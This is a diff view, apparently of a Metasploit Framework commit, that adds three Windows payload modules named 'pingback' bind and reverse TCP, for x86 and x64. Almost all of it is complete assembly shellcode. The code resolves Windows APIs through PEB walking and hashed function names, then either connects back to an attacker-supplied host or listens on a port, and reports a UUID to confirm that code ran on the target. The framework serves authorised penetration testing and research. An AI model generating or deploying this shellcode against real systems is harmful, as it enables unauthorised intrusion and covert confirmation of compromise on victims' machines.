Normal file
146
modules/payloads/singles/windows/pingback_bind_tcp.rb
Normal file
@ -0,0 +1,146 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/payload/pingback'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/base/sessions/pingback'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 301
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Pingback
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Pingback::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows x86 Pingback, Bind TCP Inline',
|
||||
'Description' => 'Open a socket and report UUID when a connection is received (Windows x86)',
|
||||
'Author' => [ 'bwatters-r7' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::Pingback
|
||||
))
|
||||
|
||||
def generate_stage
|
||||
encoded_port = [datastore['LPORT'].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
|
||||
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
|
||||
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
|
||||
addr_fam = 2
|
||||
sockaddr_size = 16
|
||||
|
||||
asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the newly connected clients socket
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
bind_tcp:
|
||||
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 0x5F327377 ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
push 11
|
||||
pop ecx
|
||||
push_0_loop:
|
||||
push eax ; if we succeed, eax will be zero, push it enough times
|
||||
; to cater for both IPv4 and IPv6
|
||||
loop push_0_loop
|
||||
|
||||
; push zero for the flags param [8]
|
||||
; push null for reserved parameter [7]
|
||||
; we do not specify a WSAPROTOCOL_INFO structure [6]
|
||||
; we do not specify a protocol [5]
|
||||
push 1 ; push SOCK_STREAM
|
||||
push #{addr_fam} ; push AF_INET/6
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
||||
call ebp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
; bind to 0.0.0.0/[::], pushed earlier
|
||||
|
||||
push #{encoded_port} ; family AF_INET and port number
|
||||
mov esi, esp ; save a pointer to sockaddr_in struct
|
||||
push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
|
||||
push esi ; pointer to the sockaddr_in struct
|
||||
push edi ; socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
|
||||
call ebp ; bind( s, &sockaddr_in, 16 );
|
||||
test eax,eax ; non-zero means a failure
|
||||
jnz failure
|
||||
; backlog, pushed earlier [3]
|
||||
push edi ; socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
|
||||
call ebp ; listen( s, 0 );
|
||||
|
||||
; we set length for the sockaddr struct to zero, pushed earlier [2]
|
||||
; we dont set the optional sockaddr param, pushed earlier [1]
|
||||
push edi ; listening socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
|
||||
call ebp ; accept( s, 0, 0 );
|
||||
|
||||
push edi ; push the listening socket
|
||||
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||
call ebp ; closesocket( s );
|
||||
|
||||
send_pingback:
|
||||
push 0 ; flags
|
||||
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
|
||||
call get_pingback_address ; put pingback_uuid buffer on the stack
|
||||
db #{uuid_as_db} ; PINGBACK_UUID
|
||||
get_pingback_address:
|
||||
push edi ; saved socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
|
||||
call ebp ; call send
|
||||
|
||||
push edi ; push the listening socket
|
||||
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||
call ebp ; closesocket( s );
|
||||
|
||||
handle_connect_failure:
|
||||
; decrement our attempt count and try again
|
||||
dec dword [esi+8]
|
||||
jnz failure
|
||||
|
||||
cleanup_socket:
|
||||
; clear up the socket
|
||||
push edi ; socket handle
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||
call ebp ; closesocket(socket)
|
||||
|
||||
failure:
|
||||
exitfunk:
|
||||
mov ebx, 0x56a2b5f0
|
||||
push.i8 0 ; push the exit function parameter
|
||||
push ebx ; push the hash of the exit function
|
||||
call ebp ; ExitProcess(0)
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
end
|
||||
end
|
||||
end
|
151
modules/payloads/singles/windows/pingback_reverse_tcp.rb
Normal file
151
modules/payloads/singles/windows/pingback_reverse_tcp.rb
Normal file
@ -0,0 +1,151 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/payload/pingback'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/base/sessions/pingback'
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 292
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Pingback
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Pingback::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows x86 Pingback, Reverse TCP Inline',
|
||||
'Description' => 'Connect back to attacker and report UUID (Windows x86)',
|
||||
'Author' => [ 'bwatters-r7' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Pingback
|
||||
))
|
||||
|
||||
def generate_stage
|
||||
encoded_port = [datastore['LPORT'].to_i, 2].pack("vn").unpack("N").first
|
||||
encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || "127.127.127.127").unpack("V").first
|
||||
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
|
||||
pingback_count = datastore['PingbackRetries']
|
||||
pingback_sleep = datastore['PingbackSleep']
|
||||
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
|
||||
|
||||
asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
reverse_tcp:
|
||||
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 'ws2_' ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
mov eax, ebp
|
||||
call eax ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
set_address:
|
||||
push #{pingback_count} ; retry counter
|
||||
push #{retry_count} ; retry counter
|
||||
push #{encoded_host} ; host in little-endian format
|
||||
push #{encoded_port} ; family AF_INET and port number
|
||||
mov esi, esp ; save pointer to sockaddr struct
|
||||
|
||||
create_socket:
|
||||
push eax ; if we succeed, eax will be zero, push zero for the flags param.
|
||||
push eax ; push null for reserved parameter
|
||||
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
push eax ; we do not specify a protocol
|
||||
inc eax ;
|
||||
push eax ; push SOCK_STREAM
|
||||
inc eax ;
|
||||
push eax ; push AF_INET
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
try_connect:
|
||||
push 16 ; length of the sockaddr struct
|
||||
push esi ; pointer to the sockaddr struct
|
||||
push edi ; the socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
|
||||
call ebp ; connect( s, &sockaddr, 16 );
|
||||
|
||||
test eax,eax ; non-zero means a failure
|
||||
jz connected
|
||||
|
||||
handle_connect_failure:
|
||||
; decrement our attempt count and try again
|
||||
dec dword [esi+8]
|
||||
jnz try_connect
|
||||
failure:
|
||||
call exitfunk
|
||||
; this lable is required so that reconnect attempts include
|
||||
; the UUID stuff if required.
|
||||
connected:
|
||||
send_pingback:
|
||||
push 0 ; flags
|
||||
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
|
||||
call get_pingback_address ; put pingback_uuid buffer on the stack
|
||||
db #{uuid_as_db} ; PINGBACK_UUID
|
||||
get_pingback_address:
|
||||
push edi ; saved socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
|
||||
call ebp ; call send
|
||||
|
||||
cleanup_socket:
|
||||
; clear up the socket
|
||||
push edi ; socket handle
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||
call ebp ; closesocket(socket)
|
||||
^
|
||||
if pingback_count > 0
|
||||
asm << %Q^
|
||||
mov eax, [esi+12]
|
||||
test eax, eax ; pingback counter
|
||||
jz exitfunk
|
||||
dec [esi+12]
|
||||
sleep:
|
||||
push #{(pingback_sleep * 1000)}
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
|
||||
call ebp ;sleep(pingback_sleep * 1000)
|
||||
jmp create_socket
|
||||
^
|
||||
end
|
||||
asm << %Q^
|
||||
; restore the stack back to the connection retry count
|
||||
pop esi
|
||||
pop esi
|
||||
dec [esi+8] ; decrement the retry counter
|
||||
jmp exitfunk
|
||||
; try again
|
||||
jnz create_socket
|
||||
jmp failure
|
||||
exitfunk:
|
||||
mov ebx, 0x56a2b5f0
|
||||
push.i8 0 ; push the exit function parameter
|
||||
push ebx ; push the hash of the exit function
|
||||
call ebp ; ExitProcess(0)
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
end
|
||||
end
|
||||
end
|
255
modules/payloads/singles/windows/x64/pingback_reverse_tcp.rb
Normal file
255
modules/payloads/singles/windows/x64/pingback_reverse_tcp.rb
Normal file
@ -0,0 +1,255 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/payload/pingback'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/pingback'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 425
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Pingback
|
||||
include Msf::Payload::Pingback::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows x64 Pingback, Reverse TCP Inline',
|
||||
'Description' => 'Connect back to attacker and report UUID (Windows x64)',
|
||||
'Author' => [ 'bwatters-r7' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X64,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Pingback
|
||||
))
|
||||
def generate_stage
|
||||
# 22 -> "0x00,0x16"
|
||||
# 4444 -> "0x11,0x5c"
|
||||
encoded_port = [datastore['LPORT'].to_i, 2].pack("vn").unpack("N").first
|
||||
encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || "127.127.127.127").unpack("V").first
|
||||
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
|
||||
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
|
||||
pingback_count = datastore['PingbackRetries']
|
||||
pingback_sleep = datastore['PingbackSleep']
|
||||
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
|
||||
|
||||
asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
|
||||
api_call:
|
||||
push r9 ; Save the 4th parameter
|
||||
push r8 ; Save the 3rd parameter
|
||||
push rdx ; Save the 2nd parameter
|
||||
push rcx ; Save the 1st parameter
|
||||
push rsi ; Save RSI
|
||||
xor rdx, rdx ; Zero rdx
|
||||
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
|
||||
mov rdx, [rdx+24] ; Get PEB->Ldr
|
||||
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
|
||||
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
|
||||
xor r9, r9 ; Clear r9 which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
xor rax, rax ; Clear rax
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
ror r9d, 13 ; Rotate right our hash value
|
||||
add r9d, eax ; Add the next byte of the name
|
||||
loop loop_modname ; Loop untill we have read enough
|
||||
; We now have the module hash computed
|
||||
push rdx ; Save the current position in the module list for later
|
||||
push r9 ; Save the current module hash for later
|
||||
; Proceed to itterate the export address table,
|
||||
mov rdx, [rdx+32] ; Get this modules base address
|
||||
mov eax, dword [rdx+60] ; Get PE header
|
||||
add rax, rdx ; Add the modules base address
|
||||
cmp word [rax+24], 0x020B ; is this module actually a PE64 executable?
|
||||
; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
|
||||
; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
|
||||
; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
|
||||
jne get_next_mod1 ; if not, proceed to the next module
|
||||
mov eax, dword [rax+136] ; Get export tables RVA
|
||||
test rax, rax ; Test if no export address table is present
|
||||
jz get_next_mod1 ; If no EAT present, process the next module
|
||||
add rax, rdx ; Add the modules base address
|
||||
push rax ; Save the current modules EAT
|
||||
mov ecx, dword [rax+24] ; Get the number of function names
|
||||
mov r8d, dword [rax+32] ; Get the rva of the function names
|
||||
add r8, rdx ; Add the modules base address
|
||||
; Computing the module hash + function hash
|
||||
get_next_func: ;
|
||||
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||
dec rcx ; Decrement the function name counter
|
||||
mov esi, dword [r8+rcx*4]; Get rva of next module name
|
||||
add rsi, rdx ; Add the modules base address
|
||||
xor r9, r9 ; Clear r9 which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
xor rax, rax ; Clear rax
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror r9d, 13 ; Rotate right our hash value
|
||||
add r9d, eax ; Add the next byte of the name
|
||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add r9, [rsp+8] ; Add the current module hash to the function hash
|
||||
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
pop rax ; Restore the current modules EAT
|
||||
mov r8d, dword [rax+36] ; Get the ordinal table rva
|
||||
add r8, rdx ; Add the modules base address
|
||||
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
|
||||
mov r8d, dword [rax+28] ; Get the function addresses table rva
|
||||
add r8, rdx ; Add the modules base address
|
||||
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
|
||||
add rax, rdx ; Add the modules base address to get the functions actual VA
|
||||
; We now fix up the stack and perform the call to the drsired function...
|
||||
finish:
|
||||
pop r8 ; Clear off the current modules hash
|
||||
pop r8 ; Clear off the current position in the module list
|
||||
pop rsi ; Restore RSI
|
||||
pop rcx ; Restore the 1st parameter
|
||||
pop rdx ; Restore the 2nd parameter
|
||||
pop r8 ; Restore the 3rd parameter
|
||||
pop r9 ; Restore the 4th parameter
|
||||
pop r10 ; pop off the return address
|
||||
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
|
||||
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
|
||||
push r10 ; push back the return address
|
||||
jmp rax ; Jump into the required function
|
||||
; We now automagically return to the correct caller...
|
||||
get_next_mod: ;
|
||||
pop rax ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
pop r9 ; Pop off the current (now the previous) modules hash
|
||||
pop rdx ; Restore our position in the module list
|
||||
mov rdx, [rdx] ; Get the next module
|
||||
jmp next_mod ; Process this module
|
||||
|
||||
start:
|
||||
pop rbp ; block API pointer
|
||||
|
||||
reverse_tcp:
|
||||
; setup the structures we need on the stack...
|
||||
mov r14, 'ws2_32'
|
||||
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
|
||||
sub rsp, #{408 + 8} ; alloc sizeof( struct WSAData ) bytes for the WSAData
|
||||
; structure (+8 for alignment)
|
||||
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
|
||||
mov r12, #{encoded_host_port}
|
||||
push r12 ; host, family AF_INET and port
|
||||
mov r12, rsp ; save pointer to sockaddr struct for connect call
|
||||
|
||||
; perform the call to LoadLibraryA...
|
||||
mov rcx, r14 ; set the param for the library to load
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call rbp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
; perform the call to WSAStartup...
|
||||
mov rdx, r13 ; second param is a pointer to this stuct
|
||||
push 0x0101 ;
|
||||
pop rcx ; set the param for the version requested
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
||||
call rbp ; WSAStartup( 0x0101, &WSAData );
|
||||
|
||||
; stick the retry count on the stack and store it
|
||||
push #{retry_count} ; retry counter
|
||||
pop r14
|
||||
push #{pingback_count}
|
||||
pop r15
|
||||
|
||||
create_socket:
|
||||
; perform the call to WSASocketA...
|
||||
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
|
||||
push rax ; push null for reserved parameter
|
||||
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
xor r8, r8 ; we do not specify a protocol
|
||||
inc rax ;
|
||||
mov rdx, rax ; push SOCK_STREAM
|
||||
inc rax ;
|
||||
mov rcx, rax ; push AF_INET
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
||||
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
mov rdi, rax ; save the socket for later
|
||||
|
||||
try_connect:
|
||||
; perform the call to connect...
|
||||
push 16 ; length of the sockaddr struct
|
||||
pop r8 ; pop off the third param
|
||||
mov rdx, r12 ; set second param to pointer to sockaddr struct
|
||||
mov rcx, rdi ; the socket
|
||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
|
||||
call rbp ; connect( s, &sockaddr, 16 );
|
||||
|
||||
test eax, eax ; non-zero means failure
|
||||
jz connected
|
||||
|
||||
handle_connect_failure:
|
||||
dec r14 ; decrement the retry count
|
||||
jnz try_connect
|
||||
dec r15
|
||||
jmp close_socket
|
||||
|
||||
failure:
|
||||
call exitfunk
|
||||
|
||||
; this lable is required so that reconnect attempts include
|
||||
; the UUID stuff if required.
|
||||
connected:
|
||||
|
||||
send_pingback:
|
||||
xor r9, r9 ; flags
|
||||
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
|
||||
pop r8
|
||||
call get_pingback_address ; put uuid buffer on the stack
|
||||
db #{uuid_as_db} ; PINGBACK_UUID
|
||||
|
||||
get_pingback_address:
|
||||
pop rdx ; PINGBACK UUID address
|
||||
mov rcx, rdi ; Socket handle
|
||||
mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
|
||||
call rbp ; call send
|
||||
|
||||
close_socket:
|
||||
mov rcx, rdi ; Socket handle
|
||||
mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||
call rbp ; call closesocket
|
||||
^
|
||||
if pingback_count > 0
|
||||
asm << %Q^
|
||||
sleep:
|
||||
test r15, r15 ; check pingback retry counter
|
||||
jz exitfunk ; bail if we are at 0
|
||||
dec r15 ;decrement the pingback retry counter
|
||||
push #{(pingback_sleep * 1000)} ; 10 seconds
|
||||
pop rcx ; set the sleep function parameter
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
|
||||
call rbp ; Sleep()
|
||||
jmp create_socket ; repeat callback
|
||||
^
|
||||
end
|
||||
asm << %Q^
|
||||
exitfunk:
|
||||
pop rax ; won't be returning, realign the stack with a pop
|
||||
push 0 ;
|
||||
pop rcx ; set the exit function parameter
|
||||
mov r10, 0x56a2b5f0
|
||||
call rbp ; ExitProcess(0)
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue
Block a user